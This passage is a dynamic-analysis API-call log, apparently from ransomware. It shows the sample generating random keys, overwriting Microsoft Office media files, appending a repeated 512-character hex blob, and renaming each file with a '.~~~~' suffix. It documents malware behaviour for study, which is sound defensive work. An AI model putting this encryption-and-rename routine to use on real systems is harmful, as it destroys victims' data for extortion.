	[0124.252] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x77f0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x77f0, lpOverlapped=0x0) returned 1
	[0124.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.254] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.254] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.255] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.255] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.255] CloseHandle (hObject=0x128) returned 1
	[0124.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bed00
	[0124.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.~~~~")) returned 1
	[0124.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bed00 | out: hHeap=0x300000) returned 1
	[0124.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.257] GetLastError () returned 0x0
	[0124.258] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.259] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.259] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.260] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24424984007) returned 1
	[0124.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3882c70, dwHighDateTime=0x1d60e1e)) 
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820558
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820558 | out: hHeap=0x300000) returned 1
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f0700
	[0124.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bed98
	[0124.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f0700 | out: hHeap=0x300000) returned 1
	[0124.261] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.261] GetLastError () returned 0x0
	[0124.261] GetLastError () returned 0x0
	[0124.261] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.261] GetLastError () returned 0x0
	[0124.261] GetLastError () returned 0x0
	[0124.396] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeade, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.396] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1522, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x1522, lpOverlapped=0x0) returned 1
	[0124.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.398] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.398] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.398] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.398] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.398] CloseHandle (hObject=0x128) returned 1
	[0124.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bec68
	[0124.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.~~~~")) returned 1
	[0124.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bec68 | out: hHeap=0x300000) returned 1
	[0124.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.460] GetLastError () returned 0x0
	[0124.460] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.461] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.461] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.461] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24445161642) returned 1
	[0124.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3a71e50, dwHighDateTime=0x1d60e1e)) 
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8300
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8300 | out: hHeap=0x300000) returned 1
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bee30
	[0124.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.462] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.462] GetLastError () returned 0x0
	[0124.463] GetLastError () returned 0x0
	[0124.463] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.463] GetLastError () returned 0x0
	[0124.463] GetLastError () returned 0x0
	[0124.466] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff130, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.466] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0xed0, lpOverlapped=0x0) returned 1
	[0124.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.468] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.468] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.468] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.468] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.469] CloseHandle (hObject=0x128) returned 1
	[0124.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bee30
	[0124.469] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.~~~~")) returned 1
	[0124.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bee30 | out: hHeap=0x300000) returned 1
	[0124.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.470] GetLastError () returned 0x0
	[0124.470] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.471] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.471] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.471] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24446141472) returned 1
	[0124.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3a97fb0, dwHighDateTime=0x1d60e1e)) 
	[0124.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b82c8
	[0124.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b82c8 | out: hHeap=0x300000) returned 1
	[0124.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf680
	[0124.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.472] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.472] GetLastError () returned 0x0
	[0124.472] GetLastError () returned 0x0
	[0124.472] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.472] GetLastError () returned 0x0
	[0124.472] GetLastError () returned 0x0
	[0124.474] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb006, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.475] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4ffa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x4ffa, lpOverlapped=0x0) returned 1
	[0124.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.476] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.476] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.476] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.476] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.477] CloseHandle (hObject=0x128) returned 1
	[0124.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bee30
	[0124.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.~~~~")) returned 1
	[0124.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bee30 | out: hHeap=0x300000) returned 1
	[0124.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.478] GetLastError () returned 0x0
	[0124.479] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.480] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.480] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.481] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24447105852) returned 1
	[0124.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3abe110, dwHighDateTime=0x1d60e1e)) 
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8290
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8290 | out: hHeap=0x300000) returned 1
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf718
	[0124.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.482] GetLastError () returned 0x0
	[0124.482] GetLastError () returned 0x0
	[0124.482] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.482] GetLastError () returned 0x0
	[0124.482] GetLastError () returned 0x0
	[0124.485] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb23a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.485] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4dc6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x4dc6, lpOverlapped=0x0) returned 1
	[0124.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.487] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.487] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.487] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.487] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.487] CloseHandle (hObject=0x128) returned 1
	[0124.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bee30
	[0124.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.~~~~")) returned 1
	[0124.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bee30 | out: hHeap=0x300000) returned 1
	[0124.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.488] GetLastError () returned 0x0
	[0124.489] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.490] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.490] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.490] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24448035034) returned 1
	[0124.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3abe110, dwHighDateTime=0x1d60e1e)) 
	[0124.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820750
	[0124.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820750 | out: hHeap=0x300000) returned 1
	[0124.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf7b0
	[0124.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.491] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.491] GetLastError () returned 0x0
	[0124.491] GetLastError () returned 0x0
	[0124.492] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.492] GetLastError () returned 0x0
